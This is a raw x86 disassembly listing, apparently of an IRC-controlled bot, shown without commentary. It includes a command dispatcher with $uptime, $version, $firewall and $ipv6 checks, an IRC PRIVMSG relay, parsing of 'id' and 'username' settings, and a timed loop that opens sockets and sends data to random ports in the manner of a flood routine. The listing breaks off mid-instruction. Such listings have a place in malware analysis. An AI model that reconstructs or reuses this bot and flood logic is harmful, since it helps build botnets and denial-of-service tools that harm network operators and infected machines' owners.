--------------------------------------------------------------------------- loc_40C03E: ; CODE XREF: sub_40A9CF+1625j mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C059 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6400], eax jmp short loc_40C063 ; --------------------------------------------------------------------------- loc_40C059: ; CODE XREF: sub_40A9CF+167Aj mov [ebp+var_6400], offset dword_419968 loc_40C063: ; CODE XREF: sub_40A9CF+1688j lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+4] push [ebp+var_6400] push offset dword_4198EC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h loc_40C08D: ; CODE XREF: sub_40A9CF+1616j ; sub_40A9CF+166Dj push 3E8h call ds:dword_41709C ; Sleep loc_40C098: ; CODE XREF: sub_40A9CF+15BEj mov eax, [ebp+var_5B7C] mov eax, [eax+1Ch] mov [ebp+var_5B7C], eax jmp loc_40BF54 ; --------------------------------------------------------------------------- loc_40C0AC: ; CODE XREF: sub_40A9CF+158Cj push [ebp+var_5B78] call ds:dword_41DF5C ; freeaddrinfo jmp short loc_40C0D4 ; --------------------------------------------------------------------------- loc_40C0BA: ; CODE XREF: sub_40A9CF+1573j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C0D4: ; CODE XREF: sub_40A9CF+16E9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C0D9: ; CODE XREF: sub_40A9CF+1541j mov eax, [ebp+var_1A8] sub eax, ds:dword_4198C4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C1D4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40C105 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DF00 loc_40C105: ; CODE XREF: sub_40A9CF+172Aj lea eax, [ebp+var_5F84] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call ds:dword_41DF54 ; getaddrinfo test eax, eax jnz loc_40C1B5 push 4 push 0 push 0 push 401h lea eax, [ebp+var_6388] push eax mov eax, [ebp+var_5F84] push dword ptr [eax+10h] mov eax, [ebp+var_5F84] push dword ptr [eax+18h] call ds:dword_41DF58 ; getnameinfo test eax, eax jnz short loc_40C1A9 push [ebp+var_5F84] call ds:dword_41DF5C ; freeaddrinfo mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C179 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6404], eax jmp short loc_40C183 ; --------------------------------------------------------------------------- loc_40C179: ; CODE XREF: sub_40A9CF+179Aj mov [ebp+var_6404], offset dword_419968 loc_40C183: ; CODE XREF: sub_40A9CF+17A8j lea eax, [ebp+var_6388] push eax push [ebp+var_6404] push offset dword_4198A8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1A9: ; CODE XREF: sub_40A9CF+1781j push [ebp+var_5F84] call ds:dword_41DF5C ; freeaddrinfo loc_40C1B5: ; CODE XREF: sub_40A9CF+174Fj mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1D4: ; CODE XREF: sub_40A9CF+171Dj mov eax, [ebp+var_1A8] sub eax, ds:dword_419898 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C37A mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C207 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx cmp eax, 0Ah ja short loc_40C20C loc_40C207: ; CODE XREF: sub_40A9CF+1825j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C20C: ; CODE XREF: sub_40A9CF+1836j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx mov [ebp+var_638C], eax push 4 push offset a2002 ; "2002" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416DEA ; memcmp add esp, 0Ch test eax, eax jnz loc_40C35B mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-9] mov [ebp+var_6398], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-8] mov [ebp+var_6397], al and [ebp+var_6396], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-7] mov [ebp+var_6395], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-6] mov [ebp+var_6394], al and [ebp+var_6393], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-4] mov [ebp+var_6392], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-3] mov [ebp+var_6391], al and [ebp+var_6390], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-2] mov [ebp+var_638F], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-1] mov [ebp+var_638E], al and [ebp+var_638D], 0 lea eax, [ebp+var_638F] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6392] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6395] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6398] push eax call sub_40A8AD pop ecx push eax mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419860 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 1Ch jmp short loc_40C375 ; --------------------------------------------------------------------------- loc_40C35B: ; CODE XREF: sub_40A9CF+1866j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419844 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C375: ; CODE XREF: sub_40A9CF+198Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C37A: ; CODE XREF: sub_40A9CF+1818j mov eax, [ebp+var_1A8] sub eax, ds:dword_419838 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C4B0 call sub_416B64 ; clock mov [ebp+var_639C], eax and [ebp+var_63A4], 0 and [ebp+var_63A0], 0 push 10h push 0 lea eax, [ebp+var_63B4] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_63B4], 2 loc_40C3C8: ; CODE XREF: sub_40A9CF+1A95j call sub_416B64 ; clock sub eax, [ebp+var_639C] cmp eax, 3E8h jnb loc_40C469 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call ds:dword_417238 ; htons mov [ebp+var_63B2], ax push 4 push 0 call sub_4040E8 pop ecx pop ecx mov [ebp+var_63B0], eax push 0 push 2 push 2 call ds:dword_417218 ; socket mov [ebp+var_63B8], eax push 10h lea eax, [ebp+var_63B4] push eax push [ebp+var_63B8] call ds:dword_4171F4 ; connect push 0 push 1 lea eax, [ebp+var_63A0] push eax push [ebp+var_63B8] call ds:dword_41720C ; send push [ebp+var_63B8] call ds:dword_417230 ; closesocket mov eax, [ebp+var_63A4] add eax, 2Bh mov [ebp+var_63A4], eax jmp loc_40C3C8 ; --------------------------------------------------------------------------- loc_40C469: ; CODE XREF: sub_40A9CF+1A09j cmp [ebp+var_63A4], 400h jbe short loc_40C483 mov eax, [ebp+var_63A4] mov [ebp+var_6408], eax jmp short loc_40C48D ; --------------------------------------------------------------------------- loc_40C483: ; CODE XREF: sub_40A9CF+1AA4j mov [ebp+var_6408], 400h loc_40C48D: ; CODE XREF: sub_40A9CF+1AB2j mov eax, [ebp+var_6408] shr eax, 0Ah push eax push offset dword_419820 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4B0: ; CODE XREF: sub_40A9CF+19BEj mov eax, [ebp+var_1A8] sub eax, ds:dword_419818 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C4DA mov eax, [ebp+var_1A8] sub eax, ds:dword_41980C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C4FF loc_40C4DA: ; CODE XREF: sub_40A9CF+1AF4j push offset dword_41DD08 push 3B7h push 0 push offset dword_4197E8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4FF: ; CODE XREF: sub_40A9CF+1B09j mov eax, [ebp+var_1A8] sub eax, ds:dword_4197DC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C53A mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4142BF add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C53A: ; CODE XREF: sub_40A9CF+1B43j mov eax, [ebp+var_1A8] sub eax, ds:dword_4197D4 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C564 mov eax, [ebp+var_1A8] sub eax, ds:dword_4197C8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C576 loc_40C564: ; CODE XREF: sub_40A9CF+1B7Ej lea eax, [ebp+var_1A4] push eax call sub_4087C4 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C576: ; CODE XREF: sub_40A9CF+1B93j mov eax, [ebp+var_1A8] sub eax, ds:dword_4197C0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C5A0 mov eax, [ebp+var_1A8] sub eax, ds:dword_4197B4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C5B2 loc_40C5A0: ; CODE XREF: sub_40A9CF+1BBAj lea eax, [ebp+var_1A4] push eax call sub_408E4A pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C5B2: ; CODE XREF: sub_40A9CF+1BCFj mov eax, [ebp+var_1A8] sub eax, ds:dword_4197A4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C614 push 1 push offset a9252 ; "9252" call sub_4046BC pop ecx pop ecx mov [ebp+var_63BC], eax push [ebp+var_63BC] push offset dword_418B5C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch cmp [ebp+var_63BC], 0 jnz short loc_40C603 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C603: ; CODE XREF: sub_40A9CF+1C2Dj push [ebp+var_63BC] call sub_404CBB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C614: ; CODE XREF: sub_40A9CF+1BF6j mov eax, [ebp+var_1A8] sub eax, ds:dword_419790 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C63B lea eax, [ebp+var_1A4] push eax call sub_4091E2 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C63B: ; CODE XREF: sub_40A9CF+1C58j mov eax, [ebp+var_1A8] sub eax, ds:dword_419788 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C669 mov eax, [ebp+var_1A8] sub eax, ds:dword_41977C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C896 loc_40C669: ; CODE XREF: sub_40A9CF+1C7Fj mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C686 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_640C], eax jmp short loc_40C68D ; --------------------------------------------------------------------------- loc_40C686: ; CODE XREF: sub_40A9CF+1CA1j and [ebp+var_640C], 0 loc_40C68D: ; CODE XREF: sub_40A9CF+1CB5j mov eax, [ebp+var_640C] mov [ebp+var_63C8], eax call sub_4092A4 mov [ebp+var_63E0], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63D8], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63C4], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D4], eax mov eax, [ebp+var_63D8] cmp eax, [ebp+var_63C8] jnb short loc_40C715 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C715: ; CODE XREF: sub_40A9CF+1D3Fj call sub_409318 mov [ebp+var_63C0], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63CC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63DC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D0], eax cmp [ebp+var_63D0], 1 jnz short loc_40C793 mov [ebp+var_6410], offset byte_41DF00 jmp short loc_40C79D ; --------------------------------------------------------------------------- loc_40C793: ; CODE XREF: sub_40A9CF+1DB6j mov [ebp+var_6410], offset dword_4191F4 loc_40C79D: ; CODE XREF: sub_40A9CF+1DC2j cmp [ebp+var_63DC], 1 jnz short loc_40C7B2 mov [ebp+var_6414], offset byte_41DF00 jmp short loc_40C7BC ; --------------------------------------------------------------------------- loc_40C7B2: ; CODE XREF: sub_40A9CF+1DD5j mov [ebp+var_6414], offset dword_4191F4 loc_40C7BC: ; CODE XREF: sub_40A9CF+1DE1j cmp [ebp+var_63CC], 1 jnz short loc_40C7D1 mov [ebp+var_6418], offset byte_41DF00 jmp short loc_40C7DB ; --------------------------------------------------------------------------- loc_40C7D1: ; CODE XREF: sub_40A9CF+1DF4j mov [ebp+var_6418], offset dword_4191F4 loc_40C7DB: ; CODE XREF: sub_40A9CF+1E00j cmp [ebp+var_63D4], 1 jnz short loc_40C7F0 mov [ebp+var_641C], offset byte_41DF00 jmp short loc_40C7FA ; --------------------------------------------------------------------------- loc_40C7F0: ; CODE XREF: sub_40A9CF+1E13j mov [ebp+var_641C], offset dword_4191F4 loc_40C7FA: ; CODE XREF: sub_40A9CF+1E1Fj cmp [ebp+var_63C4], 1 jnz short loc_40C80F mov [ebp+var_6420], offset byte_41DF00 jmp short loc_40C819 ; --------------------------------------------------------------------------- loc_40C80F: ; CODE XREF: sub_40A9CF+1E32j mov [ebp+var_6420], offset dword_4191F4 loc_40C819: ; CODE XREF: sub_40A9CF+1E3Ej cmp [ebp+var_63D8], 1 jnz short loc_40C82E mov [ebp+var_6424], offset byte_41DF00 jmp short loc_40C838 ; --------------------------------------------------------------------------- loc_40C82E: ; CODE XREF: sub_40A9CF+1E51j mov [ebp+var_6424], offset dword_4191F4 loc_40C838: ; CODE XREF: sub_40A9CF+1E5Dj push [ebp+var_6410] push [ebp+var_63D0] push [ebp+var_6414] push [ebp+var_63DC] push [ebp+var_6418] push [ebp+var_63CC] push [ebp+var_641C] push [ebp+var_63D4] push [ebp+var_6420] push [ebp+var_63C4] push [ebp+var_6424] push [ebp+var_63D8] push offset dword_419708 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 38h jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C896: ; CODE XREF: sub_40A9CF+1C94j mov eax, [ebp+var_1A8] sub eax, ds:dword_419700 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C912 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C8BD mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jnz short loc_40C8BF loc_40C8BD: ; CODE XREF: sub_40A9CF+1EE3j jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C8BF: ; CODE XREF: sub_40A9CF+1EECj push 2 push offset aId ; "id" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40C8EA mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41EF98 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40C8EA: ; CODE XREF: sub_40A9CF+1F07j push offset aUsername ; "username" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40C912 mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41F118 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40C912: ; CODE XREF: sub_40A9CF+85j ; sub_40A9CF+D8j ... pop edi pop esi leave retn sub_40A9CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C916 proc near ; CODE XREF: sub_40CA29+47Fp arg_0 = dword ptr 8 push ebp mov ebp, esp loc_40C919: ; CODE XREF: sub_40C916+1Fj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_40C937 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C937 mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax jmp short loc_40C919 ; --------------------------------------------------------------------------- loc_40C937: ; CODE XREF: sub_40C916+Cj ; sub_40C916+16j mov eax, [ebp+arg_0] pop ebp retn sub_40C916 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C93C proc near ; DATA XREF: sub_40CEB0+66o var_534 = dword ptr -534h var_530 = byte ptr -530h var_38F = byte ptr -38Fh var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 534h push 327h push [ebp+arg_0] lea eax, [ebp+var_534] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_208] push eax push offset asc_419F48 ; ";" lea eax, [ebp+var_530] push eax call sub_40813C add esp, 0Ch mov [ebp+var_204], eax and [ebp+var_20C], 0 loc_40C98D: ; CODE XREF: sub_40C93C+D6j cmp [ebp+var_204], 0 jnz short loc_40C998 jmp short loc_40CA17 ; --------------------------------------------------------------------------- loc_40C998: ; CODE XREF: sub_40C93C+58j ; sub_40C93C+79j mov eax, [ebp+var_204] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40C9A8 jmp short loc_40C9B7 ; --------------------------------------------------------------------------- loc_40C9A8: ; CODE XREF: sub_40C93C+68j mov eax, [ebp+var_204] inc eax mov [ebp+var_204], eax jmp short loc_40C998 ; --------------------------------------------------------------------------- loc_40C9B7: ; CODE XREF: sub_40C93C+6Aj push [ebp+var_204] lea eax, [ebp+var_38F] push eax push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_200] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_200] push eax call sub_40E618 pop ecx lea eax, [ebp+var_208] push eax push offset asc_419F48 ; ";" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_20C], eax mov eax, [ebp+var_20C] mov [ebp+var_204], eax jmp loc_40C98D ; --------------------------------------------------------------------------- loc_40CA17: ; CODE XREF: sub_40C93C+5Aj push [ebp+var_534] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40C93C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA29 proc near ; CODE XREF: sub_40CEB0+8p var_1EC = dword ptr -1ECh var_1E8 = byte ptr -1E8h var_1C8 = byte ptr -1C8h var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = byte ptr -1A0h var_190 = byte ptr -190h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1ECh cmp [ebp+arg_0], 0 jz short loc_40CA43 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 28h jz short loc_40CA4A loc_40CA43: ; CODE XREF: sub_40CA29+Dj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA4A: ; CODE XREF: sub_40CA29+18j mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax push offset asc_419FB0 ; ")" push [ebp+arg_0] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_40CA70 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA70: ; CODE XREF: sub_40CA29+3Ej mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax cmp eax, 180h jbe short loc_40CA8A mov [ebp+var_1EC], 180h jmp short loc_40CA97 ; --------------------------------------------------------------------------- loc_40CA8A: ; CODE XREF: sub_40CA29+53j mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax mov [ebp+var_1EC], eax loc_40CA97: ; CODE XREF: sub_40CA29+5Fj push [ebp+var_1EC] push [ebp+arg_0] lea eax, [ebp+var_190] push eax call sub_407A56 add esp, 0Ch push 1 push 1 lea eax, [ebp+var_190] push eax call sub_407C2C add esp, 0Ch lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" lea eax, [ebp+var_190] push eax call sub_40813C add esp, 0Ch mov [ebp+var_4], eax and [ebp+var_C], 0 loc_40CAE1: ; CODE XREF: sub_40CA29+475j cmp [ebp+var_4], 0 jnz short loc_40CAEC jmp loc_40CEA3 ; --------------------------------------------------------------------------- loc_40CAEC: ; CODE XREF: sub_40CA29+BCj ; sub_40CA29+D7j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40CAF9 jmp short loc_40CB02 ; --------------------------------------------------------------------------- loc_40CAF9: ; CODE XREF: sub_40CA29+CCj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_40CAEC ; --------------------------------------------------------------------------- loc_40CB02: ; CODE XREF: sub_40CA29+CEj lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_1A0] push eax lea eax, [ebp+var_1C8] push eax push offset a32s16s32s ; "%32s %16s %32s" push [ebp+var_4] call sub_416BA2 ; sscanf add esp, 14h cmp eax, 3 jz short loc_40CB33 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CB33: ; CODE XREF: sub_40CA29+101j lea eax, [ebp+var_1C8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A4], eax lea eax, [ebp+var_1E8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A8], eax cmp [ebp+var_1A4], 0 jnz loc_40CC6E push offset dword_418F50 lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz loc_40CC6E push offset aUptime ; "$uptime" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBB1 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A4], eax jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBB1: ; CODE XREF: sub_40CA29+16Dj push offset aVersion ; "$version" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBD7 mov [ebp+var_1A4], 3B7h jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBD7: ; CODE XREF: sub_40CA29+19Dj push offset aFree ; "$free" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBFB call sub_408E8E mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBFB: ; CODE XREF: sub_40CA29+1C3j push offset aLatency ; "$latency" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC1F call sub_408887 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC1F: ; CODE XREF: sub_40CA29+1E7j push offset aFirewall ; "$firewall" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC43 call sub_404279 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC43: ; CODE XREF: sub_40CA29+20Bj push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC67 call sub_4043E9 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC67: ; CODE XREF: sub_40CA29+22Fj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CC6E: ; CODE XREF: sub_40CA29+137j ; sub_40CA29+152j ... cmp [ebp+var_1A8], 0 jnz loc_40CD83 push offset dword_418F50 lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz loc_40CD83 push offset aUptime ; "$uptime" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CCC6 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A8], eax jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCC6: ; CODE XREF: sub_40CA29+282j push offset aVersion ; "$version" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CCEC mov [ebp+var_1A8], 3B7h jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCEC: ; CODE XREF: sub_40CA29+2B2j push offset aFree ; "$free" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD10 call sub_408E8E mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD10: ; CODE XREF: sub_40CA29+2D8j push offset aLatency ; "$latency" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD34 call sub_408887 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD34: ; CODE XREF: sub_40CA29+2FCj push offset aFirewall ; "$firewall" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD58 call sub_404279 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD58: ; CODE XREF: sub_40CA29+320j push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD7C call sub_4043E9 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD7C: ; CODE XREF: sub_40CA29+344j xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CD83: ; CODE XREF: sub_40CA29+24Cj ; sub_40CA29+267j ... push offset asc_419F5C ; "==" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CDAF mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jz short loc_40CDAF xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDAF: ; CODE XREF: sub_40CA29+36Fj ; sub_40CA29+37Dj push offset asc_419F58 ; "!=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CDDB mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnz short loc_40CDDB xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDDB: ; CODE XREF: sub_40CA29+39Bj ; sub_40CA29+3A9j push offset asc_419F54 ; ">" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE07 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] ja short loc_40CE07 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE07: ; CODE XREF: sub_40CA29+3C7j ; sub_40CA29+3D5j push offset asc_419F50 ; ">=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE30 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnb short loc_40CE30 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE30: ; CODE XREF: sub_40CA29+3F3j ; sub_40CA29+401j push offset dword_419968 lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE59 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jb short loc_40CE59 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE59: ; CODE XREF: sub_40CA29+41Cj ; sub_40CA29+42Aj push offset asc_419F4C ; "<=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE82 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jbe short loc_40CE82 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE82: ; CODE XREF: sub_40CA29+445j ; sub_40CA29+453j lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" push 0 call sub_40813C add esp, 0Ch mov 